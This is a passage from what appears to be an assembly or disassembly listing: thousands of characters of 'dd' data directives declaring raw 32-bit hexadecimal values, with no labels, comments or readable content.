803D8AC8h, 90513241h, 3F41AD4Fh dd 563B616Bh, 3A8CA4h, 9D2D2F63h, 6501D980h, 9677B619h dd 7EF14F06h, 20D2A451h, 7F5A6CCh, 95B7600Fh, 7D7F012h dd 9418985Bh, 0BF409AFDh, 0ABB901C9h, 6E9B9506h, 6681863Fh dd 359B3C1h, 3D9055C8h, 100F762Dh, 20303C0Ch, 0F2867739h dd 0A5B50259h, 964DEE92h, 0F552B8A0h, 0CA00FDECh, 0AB232B56h dd 4028F441h, 8B3A17F7h, 9F1B9C4Fh, 0EA48300h, 3D439A3h dd 0DC41D9E6h, 95A8BD67h, 1B03053Ch, 31530DD2h, 0C222B801h dd 0AC9F001Ah, 0DA7F5E52h, 91064A41h, 0C631C838h, 0E5D11E40h dd 6B2A00CFh, 0E29BBE79h, 8DE4FA00h, 0B47A0AE8h, 1628C4EDh dd 80228507h, 0F3989CD8h, 0F1812400h, 1EAFCFBDh, 40A20109h dd 288B2BD8h, 0AC489F4Ah, 54017D00h, 91B8DCh, 653B3FAh dd 2E2123A3h, 7C97371Dh, 2800875Dh, 1A588EDEh, 0B7480173h dd 3899914h, 0D39CF452h, 0D032D800h, 1E54E916h, 3B6000B1h dd 0ECDD94C7h, 7A1E49D6h, 0CCC0DA63h, 795E83A4h, 785A038Dh dd 88589DD3h, 20D92800h, 39220DE8h, 0C33C286Fh, 2E71F8A0h dd 3817E4h, 0EBC603A1h, 27006037h, 3EA47951h, 546916Fh dd 0E93FB34Eh, 0D2CB801Eh, 5008CF0h, 58D94F72h, 6619E16h dd 1CAC6246h, 3C53113Fh, 8F898604h, 4EF884h, 25BA7F01h dd 0A4414352h, 0EC5AFD00h, 0AA7B1518h, 0F0200048h, 538B6EE3h dd 0E0BD944Fh, 0E3E669BFh, 748CD4h, 3646AE52h, 56ACAA3Ah dd 0A43E6800h, 611F64D6h, 7F390043h, 64EB8B5h, 0FA0EF174h dd 53102h, 6A54836Ch, 3C4C007Bh, 607CE5D9h, 8D0FFF2Eh dd 602ACA21h, 0BFDECD9Fh, 0E8000EDh, 0FAB84531h, 0A1005FC1h dd 68B63582h, 1D80D86h, 0B4023C3Fh, 0D0C59313h, 0B0095A3h dd 4029E8FCh, 9099E0h, 8249262Ch, 20AF8825h, 74A1D100h dd 0BA01CFA7h, 5F30027h, 38714112h, 0A6F2D4E9h, 6B4F9700h dd 8D73B2E4h, 999A1D0Eh, 411EC017h, 404EEA0Fh, 2BB5A207h dd 87E0275Ah, 3FE4F172h, 0DE80BA47h, 0A9904615h, 16003DE0h dd 2D73999h, 761FC0D5h, 1BF20004h, 89E09038h, 354C9E20h dd 7B6801EBh dd 1AB880AEh, 76BCDECh, 60B761D7h, 0E2CF7767h, 8E609F33h dd 9300D02Bh, 7517C0E2h, 0C78D7Ah, 49A9E330h, 19AD8287h dd 1AA4711Fh, 0F454640h, 0FE5741EFh, 0EBDC00DFh, 0C6F1BE85h dd 950076FFh, 0F2BB8047h, 0D3035Ah, 49EE01A2h, 64C9D65h dd 0E8974B04h, 0FBC0B2D9h, 739FEB16h, 0A86E1DF9h, 4408C0AFh dd 4AFB8F4Eh, 28016A18h, 70BDC028h, 28BCF0B5h, 184F2BAh dd 0C4C92AD8h, 0F7F99249h, 0DF831C3h, 770FB0CAh, 1A26D36h dd 85E29A4Bh, 696048CAh, 0F0010046h, 0EAE13A38h, 3D00677Dh dd 771363B3h, 19BA8B2h, 1F191A53h, 0D717F19Fh, 0AC1E84B0h dd 200D6E2h, 1A372FA2h, 6B3F39h, 968DAF11h, 6C4307E2h dd 8A03C03h, 98FAB3B8h, 7F4179E9h, 92B9039Dh, 3AB51424h dd 27E501C8h, 18D01901h, 900934ACh, 1BB3470h, 0A1F2B40Fh dd 0C42C9B4Dh, 0B800650Ah, 0BC34E121h, 8BAFBh, 0C1C619BEh dd 0A8E7E3E8h, 2AC5CC00h, 6F0EEF55h, 15AC1869h, 2237EAC6h dd 1DCE5048h, 14CFEDFAh, 0E04D806Ah, 35C47A6h, 43FE9230h dd 59882B9Eh, 18A02072h, 662E56BEh, 0C51DC334h, 4538DBC0h dd 16539C3h, 3E835A95h, 0F8EF88D8h, 5D0041D5h, 1FA9F7Bh dd 0F9D4D17h, 0B9A11650h, 6360D4A0h, 2F0987Eh, 0DADC9C00h dd 0FFC03243h, 213A0FC2h, 6D60EF07h, 3F3848ACh, 0F4A11000h dd 0C574AF96h, 174702F6h, 0EC5F33CAh, 62B4E480h, 700BFEAh dd 0B394BA0Ah, 42C538h, 0B2C14A7Fh, 7B1219B0h, 87CF2300h dd 90C4DA91h, 83610054h, 0E93AC021h, 3E007698h, 0D21D2516h dd 0A79033h, 0F750D90Eh, 0BD4D56B6h, 9EA4000h, 0BB03E6CDh dd 57200084h, 16E36DC4h, 4C00177Ch, 0B736422Ah, 31E098h dd 6CB3885Ah, 7E087063h, 8BDBCB0Ch, 3B306Ah, 0D51FCE0Bh dd 0F8DCA460h, 6E87B800h, 40F4882Bh, 43C200EDh, 0E9D2FA7Bh dd 7100833Dh, 5933C0D3h, 0D18C1Ah, 4C9EA6ABh, 0A2CA880Bh dd 0BF1EF801h, 0DAEB34B8h, 773D4A30h, 36C80048h, 0E602DC8Fh dd 0E6C03B52h, 0A917609Eh, 0F4D70097h, 779A6DDEh, 5E002CD1h dd 8613FFE7h, 0EE311762h, 197A31A1h, 0F3C3ED02h, 1AF815D8h dd 2DCFAD00h, 0B50FA08Ch, 0B38400C2h, 0E5040549h, 0CD007511h dd 0EC725D59h, 0E4B5F432h, 93C807D2h, 60FFF54Ch, 0D7CAED0Fh dd 0B8131530h, 0E31E68Eh, 0D472A9F4h, 2BFF62A0h, 8400041Bh dd 0BA208699h, 0A682A0h, 78EC2D60h, 98F05189h, 5526FE7Bh dd 4600043Dh, 5F7AB2E2h, 8D10C032h, 1C75E02Dh, 0D700F5E8h dd 74288AE6h, 987ECF96h, 0E4E30110h, 0E56FB6A8h, 14E8806Eh dd 0EEF5B35Dh, 149AEBh, 0D0615BDh, 0A062E34Eh, 25893507h dd 0D213288Ch, 0E25D92B1h, 2F746032h, 0BB191C4Eh, 0A2858748h dd 40A8832Bh, 0FA477ED8h, 53D0E007h, 0DB508C69h, 13618h dd 96B81B2Fh, 0DAFE41A2h, 0B8B1501h, 9332A1FDh, 0B1FC69F9h dd 0E6F5000Ah, 977855D7h, 5F00B7D6h, 2F64EFF2h, 5B1956h dd 0F3AD5C03h, 0C5BA9325h, 65742877h, 0C400867Ch, 0DAA33963h dd 7B266h, 32F38E6h, 0C211C7FAh, 103F2730h, 60BD9Ch, 68E556C4h dd 2239F1FBh, 58D7DC00h, 787224DBh, 0CE8B0092h, 0B6ADF68Eh dd 0FF003E86h, 740C4A43h, 0FAA1971Bh, 0C8270F3Fh, 0E060E7E4h dd 0FA0F64AEh, 23662907h, 0FB935A48h, 5679A01Bh, 203B247Ch dd 54803B1Dh, 0AF10FE52h, 8B1D28C8h, 298051C0h, 0FFDF87E3h dd 84BE004Dh, 9F6F3C62h, 2F12F3BCh, 9700B5DAh, 0E9ED4BAEh dd 0E3F400ABh, 463020FDh, 5E1CD361h, 5C40224Ch, 0D548DE39h dd 7C3A0EFFh, 0FE40EC95h, 5662D77Ah, 29A35A00h, 6DCE01EDh dd 0CF72000Ch, 909A44D3h, 9507B51Dh, 0BB5036CCh, 96860AC0h dd 0A5A80328h, 0CE4B6F5Ch, 0F053B4F1h, 0F0038E1h, 0F306D0D7h dd 2E6EC9h, 0CFE04F2h, 29F0FC0Ah, 0D2F5BF05h, 0BC008002h dd 19A7F48Bh, 38A1E2F6h, 0E680C148h, 298D20AEh, 333F649Eh dd 48C837h, 0AA6E5950h, 0D20712h, 0DA98AFC3h, 0DC15BB8Ch dd 4A81C48h, 65CA9B44h, 70F88490h, 0E96F02EBh, 0A815E5C1h dd 0CC9620E0h, 2D1E39h, 80AD6C03h, 64E838h, 0D5E17FB7h dd 0AE4D8B01h, 30A618C0h, 0C0FFC9B9h, 24043611h, 9901A2EDh dd 0D049CC4Ah, 1042D7F0h, 3584603Bh, 30B90063h, 96A2AD0Dh dd 5E3FE5C4h, 0A56A80FCh, 76727D9Fh, 3570065h, 21A82D1h dd 443DC39Ah, 0FCD96AFh, 4D4E7000h, 619388h, 0A2A98727h dd 163294E1h, 9CB07117h, 5AC65800h, 98216DF2h, 69220770h dd 0E03AA999h, 0AA7B751Eh, 47E9B900h, 87A870CAh, 20AB488Fh dd 8EB61100h, 0BB59607Eh, 0ACA75Dh, 7AE6DE27h, 71C5161h dd 6CC29776h, 0D5602FCDh, 88BB7B6Dh, 0EBF14100h, 465FE7F8h dd 14150040h, 0C222B9EFh, 0B607D299h, 0F43AB777h, 3F54A00h dd 0A84C0034h, 8542EA2Ah, 5C736399h, 8DF8A618h, 12AD5152h dd 2F5ED77h, 0A05059E4h, 26003C50h, 0BFE75543h, 7A9610h dd 38E2C83Ch, 8191AF49h, 291FD800h, 9BD31CC3h, 0FF3F09Eh dd 0BA71D2DDh, 874AE1E0h, 4C0025DEh, 0A5555366h, 394B53Bh dd 38C1C7C4h, 9BB779F7h, 39203D81h, 0C2FAD0B0h, 0A70014F0h dd 0BC8FB65h, 7B676Eh, 12F0CCE0h, 0A2A89625h, 406BAB00h dd 0C2561371h, 4927000Bh, 85386D7Bh, 0FE006409h, 465C8EB2h dd 161CB116h, 71AA3Dh, 0A4350330h, 4B0090D8h, 5DCD02D5h dd 17BE143h, 852FBFDBh, 0D43777BEh, 31001280h, 762A05DFh dd 0EC5A0769h, 52F282h, 6AA38E9Bh, 0CCBDCB79h, 2800B9EEh dd 0EFC87E97h, 0C0BE2588h, 6CF76EFCh, 0DB007509h, 3BD5A43Ah dd 0C6D16Fh, 0B919D8F9h, 572584BFh, 0B13D4A00h, 34C5C67h dd 0F94E0066h, 88981821h, 0EA1FE442h, 1C8099D2h, 0E52D655Ch dd 0C47E008Fh, 1A41E90Eh, 5E60B59Ch, 3E6863CCh, 1332E6BCh dd 1E526F7Ah, 8D2FC09Ch, 0B0B8AB16h, 7694C212h, 0A2BA8400h dd 644CE2h, 622B18D0h, 1E9DD72Fh, 1A375A00h, 0DC99AE93h dd 41100048h, 0CA28F49Fh, 0C9860F3h, 0F99EFF12h, 4DE90800h dd 1FCD1FCFh, 80671E99h, 0E71D0A4Bh, 0DC00F09Fh, 90DBFF3Bh dd 1E7C37h, 0DFED1533h, 6ABB3457h, 3808010Ch, 0FD066DEh dd 12EB1307h, 0A9633200h, 1D2CB7C3h, 2D1EA198h, 619FB540h dd 0B297C6A1h, 6EAF0398h, 9E73FB40h, 0DD844FA0h, 45603F7Ch dd 0CBE2C18h, 0FE30050Bh, 17295F9h, 1BD3A95h, 0E4D1CC26h dd 0DA827E0Eh, 14B6C061h, 9867B2h, 0A804C110h, 5551BCF3h dd 719CF137h, 0EFBEE857h, 1BA900E9h, 0F2E551B9h, 34BE0330h dd 22AD776Ch, 0EFD249D0h, 0D0190900h, 0D8BA4B0Eh, 7EC20C94h dd 0CBC95568h, 0EA0387B8h, 7B4F3F0h, 0E385A0E4h, 282F0020h dd 9E588D5Fh, 0B800BD35h, 66720B91h, 39D8DBh, 2EB79D12h dd 0A2C19F68h, 10BCEF8h, 70695280h, 87B307F5h, 0B07DC8CAh dd 0EAB95505h, 11C65007h, 9D20F7D9h, 3D876FD6h, 2A1DF404h dd 1359C0D2h, 0DA1694D0h, 17619A06h, 26F99812h, 84784F25h dd 805F8DEEh, 0F717B5B7h, 0B0BFEC39h, 6C56D0E0h, 93690F99h dd 0B144F2E9h, 0DC1880F4h, 14008E18h, 471F9859h, 539CB9h dd 0CDD82E2h, 0E05C4679h, 0CA4C3F1Eh, 4093644Eh, 126DECEDh dd 0AC670162h, 0AE7ADB03h, 9368D405h, 75992B5Ch, 0D1C2B812h dd 0EF7E1400h, 380433EAh, 0A0E08385h, 147B19BAh, 22C99FEh dd 2C0CD6D0h, 3061C8EFh, 3C0869C9h, 1AFAF87Ch, 6BC919DEh dd 2CDD6B5h dd 0C83F02E0h, 0C5FEE45Ah, 0E387C701h, 0E92E7460h, 80F7189Fh dd 41C12D0Ah, 0BA7BB262h, 0D3001B79h, 8D16D998h, 3C0B37D0h dd 5100BD60h, 0E49330CCh, 6E13AE1Ch, 550CC769h, 2A088025h dd 4424C685h, 0DA00B67Eh, 1B63D41Ch, 618CB50Dh, 9F9D313Fh dd 0F4490046h, 92C7301Dh, 23887699h, 8FEA5E0Bh, 2E0103A6h dd 0F95CA70Fh, 237D0EEFh, 79E984DBh, 6CE22A00h, 0A900E7B2h dd 0F89C365Ch, 16F5463h, 0DB92B619h, 800A699Ah, 2B8C0E78h dd 3FB57C95h, 49A41AE8h, 942A141Ch, 17489D33h, 134C6914h dd 15B30CCCh, 8C11A96Eh, 9A23BC01h, 540CEFEEh, 9C256109h dd 234B53A8h, 777580C8h, 3B0B9B3Dh, 0C6240917h, 0C89A149Ah dd 2A806739h, 0AE9DB4ABh, 0F706569Fh, 38BA5225h, 16BB020h dd 0FCBE3F0Eh, 0DC732BBFh, 2501EC19h, 0D159DC4Eh, 7281D5B8h dd 92ADDE45h, 57D8E840h, 0AEC0F07h, 0C1803B19h, 571A522h dd 0B7915F8Ch, 891D8026h, 610112FBh, 7A03EA93h, 8970A168h dd 285F00B6h, 8339481Eh, 0AD004BDFh, 30D913D6h, 7973Bh dd 2A7BB1F0h, 11B517CCh, 404C2E03h, 0B8017E04h, 0F365F1h dd 0F91561A6h, 7ABC83E2h, 806E2B3Ah, 16A9EC8Bh, 695FB3h dd 6BC69D6Ah, 0EB4E3FB1h, 0C4589A00h, 31BCEFFCh, 9476005Ah dd 0E2E942FDh, 7478F2F3h, 0CB0F04A5h, 7657A048h, 335CE2h dd 0B7E61765h, 83E0CF72h, 0A1904677h, 23DA7C00h, 3695194Ah dd 0C9F90149h, 17A2998h, 63EFC70h, 3101F473h, 0A86811A7h dd 29D80C2Eh, 0BEB60186h, 73E1ADC5h, 30B8C8C0h, 0B00E2EEh dd 773CB583h, 603DF4h, 1DF2F03Fh, 183219AAh, 8EBDDB00h dd 29F8394Fh, 2C787FDDh, 12590Bh, 2FF0C058h, 49039935h dd 0CFE4291Eh, 77D0E86Fh, 9CBA00E6h, 7C9A3F30h, 8C0078A6h dd 0C04FF611h, 3E19FAF1h, 6E8E51D7h, 200726Dh, 0A68A17D1h dd 0F0E7D7Dh, 806AD9F8h, 65BA0791h, 0E07FADh, 285E048Fh dd 0E44C367Ch, 66000674h, 8E269A86h, 0C6263A1h, 2378683Eh dd 0ED78F918h, 0AFCAB209h, 40E0018h, 122D7DC1h, 1DB8C0EEh dd 0BFC3C368h, 0F0003A4Ch, 3806BA3Bh, 3EA2ECh, 0CE9505DCh dd 72C9832Ah, 0E8DA3D1Eh, 44071240h, 94FFA08h, 467A7FC1h dd 29813C00h, 8B1F648Eh, 0B3407427h, 5E9D15FAh, 84AD0119h dd 0BEBF3AEh, 1460F256h, 14905953h, 504C653Dh, 8A0061DCh dd 0BF14EA4h, 90162C54h, 763E3E5Dh, 0E6F8B302h, 0CD42B26Dh dd 0A151ACE0h, 906E500h, 44703ECFh, 0BEB4009Ch, 0D9C4EE54h dd 37003071h, 391E43D6h, 9AC4B31h, 0D8C58C6Ch, 48406301h dd 0A747E457h, 80B5C900h, 0EBB1D10Dh, 92FF5043h, 0CC8603FAh dd 137C11ABh, 618725F8h, 599E1400h, 84918E02h, 30E660E8h dd 4CC2D42Eh, 12D97A63h, 0A092E05Ch, 4F0D5853h, 0DD9FD200h dd 52C21A3h, 0F610AF00h, 0B35D7A5h, 623B003Eh, 0B432FF45h dd 9A0ED84Eh, 83111C46h, 0E0E17357h, 9F44D42h, 9748B2BBh dd 8B7EA000h, 1000837Ch, 96E05412h, 0F9B913h, 0ABAC26Ah dd 7A3643CEh, 0FD42081Fh, 8D7D8300h, 3A90F4A4h, 0FF8F7945h dd 94E0AD5Eh, 70BD4DD7h, 18B039h, 0F35F6047h, 76298Bh dd 0D4EF7263h, 64CDE01h, 0F40E6100h, 9ED86DD7h, 5C7FF7h dd 82D345E8h, 0B6749672h, 0F64C4300h, 0B2B11051h, 53990083h dd 55C9252h, 0D500AF4Ah, 8EEB174Bh, 811CF2h, 0FFC86C95h dd 6B43A0D2h, 0AE008AB8h, 978CABDCh, 0E5E873h, 0F210F379h dd 987ADAC0h, 5C3BB800h, 66845178h, 0EDE7005Ah, 79A15220h dd 2161DA3Ah, 0EAD5CA21h, 8FE0B1E5h, 0EE7A42h, 464B0997h dd 7A3244B5h, 33BD28C0h, 3BFA71BEh, 9B80569Eh, 0ABAE9A89h dd 220091F2h, 632F5CA3h, 604851h, 161EC77Bh, 27760AF7h dd 593CE300h, 7197314Dh, 0EE7A00EFh, 48D532EDh, 0CB004A8Fh dd 1AEA5355h, 1E38FDD8h, 7BE752Fh, 607916E0h, 42187405h dd 68A2B60Eh, 2C019371h, 1B982354h, 360D0h, 0FE9CEADDh dd 0C8823D75h, 708C5B39h, 29B84900h, 2A876B12h, 482D7723h dd 0CC1C281Fh, 2439CF56h, 0C67634E0h, 6E07574Eh, 0D5C2BD3Dh dd 0E6DF9441h, 183FBC24h, 591D10FAh, 4F01FD9Fh, 66D6521Ch dd 0DCA4DD69h, 3EAB2CD8h, 2773A78Fh, 0A080BA00h, 1C003D38h dd 83E43C10h, 0B8ACB365h, 7B80356h, 312A21ECh, 0D4366DC8h dd 0C4E51400h, 0FA65FFBBh, 0E11B0368h, 4F178855h, 40428807h dd 8E8B017Dh, 0EC50C0A9h, 12E394h, 3A0EC7BAh, 0AFA90907h dd 677EB600h, 56D19563h, 0F9190045h, 0CD0285D6h, 0FD003E87h dd 4D53097Dh, 3DF6CE1Dh, 429C829Bh, 503083A8h, 17BB544Bh dd 64DF03Ch, 0A76B383Dh, 3E100A9h, 77237CFFh, 0D53A0B27h dd 9EE5000Eh, 0C9825C80h, 0B0677E28h, 0AD6F0068h, 3CE43BAFh dd 0D800FEA2h, 0D447EDDAh, 5E3D82h, 4B6F598Dh, 6B0EAC64h dd 0FFBA6C01h, 0D25A3FD9h, 0F0C0C34h, 27474BA8h, 1230A60h dd 0C800BCF8h, 630EEF3Eh, 0B09A5h, 6EC4AF5h, 0B65E9E40h dd 32382A00h, 0AA08DE0Fh, 6C7700CBh, 9B1ED5BEh, 0AC58AEA6h dd 3CD90078h, 95B946F6h, 443010F3h, 6ADE03F9h, 285C49D6h dd 4985711h, 4D262F79h, 0F76980DBh, 333CBACBh, 174BC8Bh dd 83383CC9h, 37C8DB1Ch, 15720090h, 7FE6B39Ch, 0BE005F99h dd 0A2FD8C16h, 0C57807h, 27425B83h, 8B3D192Dh, 0F59ED418h dd 228C6DAh, 41820E9Dh, 0EE8021D3h, 454FA03h, 4E1D44F2h dd 4D808991h, 9FE0B13Dh, 22840435h, 0C09620DBh, 0A77A0884h dd 0E8E3E951h, 5303C6A0h, 0AFE8B66Ah, 0C8628B2Ch, 3497BB9h dd 33F9BB89h, 0B1B8F118h, 0C54C168Eh, 0DE93125Dh, 51793A00h dd 0F61950Dh, 0A290BACEh, 0D37CB960h, 9200A871h, 0B4349973h dd 665CEEh, 67D6F68Bh, 5756C886h, 0F87CB61Fh, 16A79707h dd 3E2BC6F0h, 88290158h, 5EB4E092h, 0DECC206Bh, 0BE148100h dd 3C3503A2h, 0C73A0006h, 83429641h, 30F6AFC4h, 0BD4CB41Dh dd 61982800h, 0C80490h, 7D7FE332h, 0AA37EFA3h, 71BB4600h dd 0A491B9C3h, 45E20956h, 75A1A7h, 0FB883E43h, 0BE5C0090h dd 6B201D8Eh, 0AA03CFFCh, 18345DA5h, 0F3C0A7D1h, 177709Dh dd 0D44A478h, 0C02B321Ah, 0B500E44Bh, 5122EF67h, 272AA0B3h dd 8000CB58h, 2101571Dh, 90AC4D0Fh, 0A400B2B6h, 0C859FC69h dd 13C92AAh, 44466EB9h, 0DC49735Ch, 0A509BC8Bh, 0A01D4F38h dd 4D3B783Ch, 0C8D60E1Eh, 0E8008B2Dh, 6A7C7FF5h, 31063600h dd 632002C2h, 910700DBh, 0E3E94DA3h, 0B90E95CCh, 606C49E8h dd 9B0CCFC0h, 74F008Fh, 0F13E2469h, 3D2874F2h, 0A21854B0h dd 9479E722h, 388F1863h, 0EB02B85Ah, 89B5F0Eh, 0E83DC0FFh dd 481B67DAh, 25138C99h, 6920005Ch, 12E475B7h, 0F5C7B900h dd 0A5534D91h, 0C9F400E2h, 197917EAh, 8A002EF8h, 69E48C59h dd 12DA7F7h, 0A26EC71Ch, 0F8F543E5h, 89C05194h, 0CAC542C6h dd 78B40080h, 0DE3ABBD4h, 831F2D0Eh, 0CC0B10C7h, 42FC1070h dd 0E81CB2A7h, 27EB0786h, 0C656F6BBh, 0F43FC82Dh, 0E3D18052h dd 9DD43031h, 4644001Eh, 0D732929Ah, 0E900710Fh, 0E2162377h dd 3CCB08BEh, 0B3BF29A7h, 81D30079h, 6C401C65h, 96008442h dd 0ECB19079h, 0E8F06B56h, 30C20158h, 4D618BB3h, 0F24CF457h dd 0CA7E3F0Eh, 27BBE018h, 865A28h, 0FFDE3B8Fh, 4A63D790h dd 1F021200h, 30E56FECh, 0BB8D1D61h, 7B32816Dh, 5238F88Eh dd 9CE22E8Ch, 46E48C01h dd 5EADE402h, 0A60A7901h, 456FD41Ch, 0D04E0h, 38FA8F8Ah dd 0B5D7852h, 0CE562D00h, 8E1FB9A0h, 0DEA32430h, 3B5500BDh dd 207FB79Ch, 0F0AB2E00h, 7029D5B2h, 13500001h, 8CB659DEh dd 113A6DC7h, 0A5A680E3h, 47031583h, 0D421C99h, 8D1900F4h dd 0D725BB9Dh, 291ED300h, 9AD6A22Fh, 9E928C0h, 12820082h dd 6EFCD58Dh, 184CC596h, 2D2B0FF0h, 89B3E0F7h, 135E01A4h dd 916498Bh, 671Bh, 6514B43Dh, 0E196B103h, 83942293h, 0C152A045h dd 2634B04Ch, 802C61DCh, 0AA9DEC95h, 0A4002E02h, 0FD08188h dd 1726D6Bh, 7098E7C5h, 0D4F145DBh, 2300FB1Fh, 6B3710B5h dd 725E9D17h, 93A8243Fh, 5D2F80A4h, 0A358E9E8h, 242648h dd 9D523BB9h, 0F5DC74h, 9F063F13h, 0CCD839AFh, 0F62ECF74h dd 7705E08Fh, 409022BDh, 0AD5985h, 96814DA1h, 0B332D93Dh dd 83007FFCh, 0D879180Ah, 28ACF233h, 16B535B1h, 9179F12h dd 0D4004D65h, 0C991F78Eh, 3DCC3107h, 84638B6Eh, 0A0A7C03Bh dd 3B4F821h, 25C3A8CEh, 0D7D0C62Bh, 261E560Eh, 44C2ECA4h dd 0E053DAC7h, 23DBA0h, 0F07E8728h, 0A7AD8F82h, 9383EB00h dd 0A2B75696h, 0B2450044h, 208166DCh, 6472C7C8h, 760055FEh dd 18F5A594h, 292D680h, 51D92C14h, 0C0EE7470h, 4CA68B02h dd 0E53E7FE0h, 732201A8h, 6453CC5Bh, 572679B0h, 426A88Ch dd 7C025606h, 0F1160049h, 6806731Ah, 0B700E054h, 7BA75E2Dh dd 0AC3856h, 1A5DB0D1h, 2B48E2ADh, 93F7D93Ch, 0C404A37h dd 87EEB301h, 0D50D02D7h, 6174041Ch, 0A7B27C63h, 0C20C106Ch dd 90EE6E7Dh, 79D0083h, 493A9347h, 320689F5h, 0A6F98D9Ah dd 25B90020h, 0EBA4F3F4h, 0E200A7C5h, 48B31396h, 1E0746h dd 2987AAE4h, 0A375989Dh, 0C0F42E00h, 0F9FFA8F5h, 0CE5300CAh dd 3CDA7DF8h, 0CF009B66h, 0C55CC906h, 0BCCEC64h, 0AABCC2FDh dd 38AE200Eh, 60BD7427h, 97AA985h, 22194700h, 0A5DD2546h dd 0C68CA05Ch, 43F00BCh, 0A3AD718Dh, 0F000A691h, 497A3060h dd 73A938h, 0A0F7B64Bh, 0A6F8D6C3h, 7640A700h, 3270F0A5h dd 0C998DE9Fh, 98002FA4h, 0C314C719h, 1402762Ch, 5C7D6200h dd 0E020BAC8h, 0E9D800DEh, 5B94224h, 0D0A050D1h, 0A6005261h dd 2CF843F9h, 5540A8h, 0AFAAD975h, 17B0C6F7h, 0D1B58400h dd 1530D67Ah, 897C05D4h, 49DAC94h, 0E17BFB80h, 0A42AEC18h dd 0BACC1A00h, 0A2A311B3h, 7A310186h, 6AC25975h, 92C2793h dd 2913A23Bh, 7E510114h, 52F8DF64h, 91C918DEh, 0BD8689DCh dd 32B6D200h, 37ADE5DBh, 3E24B192h, 0BDBB0E00h, 9BA6FA98h dd 71688800h, 921C2F37h, 0E8930ECEh, 806036C7h, 255E70EBh dd 0AFA38107h, 2660752Fh, 3D449055h, 2B006CCCh, 0B898B44Ah dd 5C00D20Ch, 0C9468E48h, 1FAAFA66h, 4BFFA6h, 37BFA4A1h dd 4758BB9Bh, 71EE07ACh, 40000E93h, 0A02443h, 1DD95AE2h dd 923934E1h, 0D5BC380Fh, 561CE08Ah, 0D4F617h, 0A4FFDF5Fh dd 270128E6h, 2E6FA300h, 149D68D9h, 0C66E000Ah, 3C3384CAh dd 9D98FAAFh, 0CE45B500h, 0A34EB96Dh, 124000Ah, 86F6C559h dd 2E0008DAh, 726FBEFAh, 5FC2Ah, 15F277B1h, 3335D8CDh dd 5EB09400h, 72DCA1BCh, 37FF0A62h, 1CD8B1C3h, 65E280ABh dd 231DC070h, 3C95F909h, 18510CF2h, 3E5438EAh, 961F1700h dd 0F9FE53C8h, 0C90992FAh, 183634DEh, 7ECAECh, 1278F0B2h dd 0F5A459D0h, 3CA03202h, 4087EF2Eh, 148B7CCh, 4EFAC794h dd 0FAE1434Fh, 112E8850h, 0EB0710A5h, 57B00E75h, 0B7768Ah dd 0B36E782Ah, 5CDF12F7h, 4F1082A0h, 6917BD00h, 0A13AD3Fh dd 0FA1902B8h, 29D7B98Dh, 92E1860h, 0AC5447E8h, 1D00BBCCh dd 0D10CB68h, 53AFC4h, 71B795DEh, 5E72C1Fh, 204CBF79h dd 3B5D0270h, 4955A70Ah, 0E3C84374h, 99210040h, 0DCF6A85h dd 0B61FAE28h, 13C7076Bh, 7D546DCDh, 880090D7h, 2A3D254h dd 0A5B53D38h, 0B7E38A47h, 0D60B6E88h, 2980440Eh, 0B07943F1h dd 59A6C86Ah, 726607C4h, 0C030CD2Eh, 62A1E44Bh, 1014C600h dd 186FF9EAh, 712F011Ah, 5145BA3Bh, 1572DCF5h, 343DB402h dd 4211A72Ch, 2A02C054h, 0D27C00EEh, 0CAD30CEAh, 0CB00672Dh dd 96481B94h, 37B43Ah, 78E3B37Fh, 0C9019388h, 4C9890FEh dd 0F8295100h, 54ED9BDCh, 4F0EC5Eh, 21CDA880h, 6087B7h dd 93AC0BEEh, 59BAF900h, 0C316F3B4h, 0CA5501F5h, 85C521A4h dd 3651C45Eh, 0F8646E09h, 0DBCE00ECh, 757D1956h, 227907A5h dd 2377301Eh, 59E18389h, 0F74FE0EBh, 118FE5Ch, 0B0A63725h dd 0E8D8A455h, 8C7300BFh, 6B348FD8h, 0F95CD033h, 1070000Eh dd 0EC7AF819h, 2E7700C7h, 6C25D1DCh, 0B00EC8B3h, 0C056532Ah dd 0FB6007DBh, 0C88B50F8h, 7BD500CFh, 7EE3B45Bh, 0FD7E151Fh dd 6EF27575h, 89D6B800h, 93D5CB20h, 773100BFh, 0B17DA38Ch dd 6F71F08Dh, 7AA7D000h, 0EA79BCFEh, 0B080C07Bh, 0C22318A3h dd 3A90BA09h, 0F32400A4h, 0E2AB98h, 99560667h, 0A9332E70h dd 58DBAA3Eh, 9AC41E42h, 0DF01D31Dh, 21DEBA27h, 55FDF0h dd 73E13A8h, 0F6F83B69h, 3D176D00h, 4A572D20h, 1E3C26FEh dd 4F0A139Ch, 320B4E94h, 0E97E6CC0h, 0CA9A3Ch, 48D192A6h dd 0A0099525h, 8DB010h, 0B502C679h, 0A5AB1C92h, 0E3FACE10h dd 0A3011Eh, 0BF7D8B61h, 0D7009D16h, 0ECA1B93Eh, 1809BBh dd 0E907AB50h, 149FEE11h, 0C50F64F0h, 402DEB9Bh, 4F600CD3h dd 461E3DE9h, 0D172308Fh, 73810247h, 603E2A79h, 8033BBF7h dd 5C8BED63h, 0E46BBDAh, 0F2BEC8C5h, 982B7426h, 0FF014038h dd 19C21E72h, 0A0B5B019h, 8138DFB0h, 449500F4h, 0BE5ABFF7h dd 15E6DD01h, 0B2B64D50h, 0DE17E900h, 0D23C0F1Dh, 0C5D30031h dd 0DB23CB41h, 0B00EB69Fh, 0A05A8429h, 79219903h, 3C260115h dd 0FA37116Ah, 0BCB670DBh, 0D3292000h, 701C68A9h, 0CBDC0067h dd 28DA5562h, 650045CCh, 1110DEBEh, 0F8BACB6h, 0D9BD77FFh dd 36E0BA20h, 0C000FCBCh, 4ED218F0h, 4733E79h, 6B1B3707h dd 209CA1D4h, 0D001568h, 0FD287D82h, 0EC0177h, 5AE036E5h dd 3B54B149h, 95001FE6h, 774F2D67h, 1C05694h, 5864DF7Ah dd 51CEA176h, 0C857B5F4h, 0C2005CACh, 91FACC25h, 0F281632h dd 95B2FFB4h, 0F09DF7C5h, 24DA178h, 93B00080h, 55A47ED9h dd 0C6C7011Ch, 141564Fh, 806ED91Dh, 0B3409CEh, 7915266Ah dd 44754814h, 57D42D00h, 0C967D086h, 0F59C2000h, 8A62FF4Eh dd 0D62930B9h, 285B69E9h, 89227B00h, 0A35EEC4Ah, 7CD200B7h dd 72949DB8h, 70045CAh, 2E227A3Eh, 92D59588h, 2CE4FE00h dd 0A0242769h, 1CC1C0E4h, 0A74489EBh, 48F86803h, 0B021E07Ah dd 0BAF33Bh, 5A5716CDh, 0B6A978B3h, 0D5E7B40Fh, 704F20A5h dd 